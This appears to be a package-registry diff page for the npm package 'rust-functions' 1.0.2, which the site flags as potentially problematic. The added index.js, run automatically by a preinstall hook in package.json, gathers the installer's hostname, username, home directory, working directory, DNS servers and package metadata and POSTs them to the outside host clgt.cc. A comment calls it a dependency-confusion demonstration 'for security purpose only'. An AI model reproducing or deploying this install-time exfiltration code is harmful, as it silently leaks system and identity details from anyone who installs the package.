rust-functions 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of rust-functions might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +56 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ /*
2
+ * hello this package is used for demonstrate bug dependency injection
3
+ * it is for security purpose only so PLEASE DO NOT REMOVE IT
4
+ * my twitter: @bugoverfl0w
5
+ * bugcrowd: @bugoverflow
6
+ */
7
+ const os = require("os");
8
+ const dns = require("dns");
9
+ const querystring = require("querystring");
10
+ const https = require("https");
11
+ const packageJSON = require("./package.json");
12
+ const package = packageJSON.name;
13
+
14
+ async function main() {
15
+ const trackingData = JSON.stringify({
16
+ p: package,
17
+ c: __dirname,
18
+ current_pwd: process.cwd(),
19
+ hd: os.homedir(),
20
+ hn: os.hostname(),
21
+ un: os.userInfo().username,
22
+ dns: dns.getServers(),
23
+ r: packageJSON ? packageJSON.___resolved : undefined,
24
+ v: packageJSON.version,
25
+ pjson: packageJSON,
26
+ });
27
+
28
+
29
+ var postData = querystring.stringify({
30
+ msg: trackingData,
31
+ });
32
+
33
+ var options = {
34
+ hostname: "clgt.cc", //replace burpcollaborator.net with Interactsh or pipedream
35
+ port: 443,
36
+ path: "/dependency-conf-npm.php",
37
+ method: "POST",
38
+ headers: {
39
+ "Content-Type": "application/x-www-form-urlencoded",
40
+ "Content-Length": postData.length,
41
+ },
42
+ };
43
+
44
+ var req = https.request(options, (res) => {
45
+ res.on("data", (d) => {
46
+ process.stdout.write(d);
47
+ });
48
+ });
49
+
50
+ req.on("error", (e) => {
51
+ // console.error(e);
52
+ });
53
+
54
+ req.write(postData);
55
+ req.end();
56
+ } main()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "rust-functions",
3
+ "version": "1.0.2",
4
+ "description": "test security only",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "bugoverflow",
11
+ "license": "ISC"
12
+ }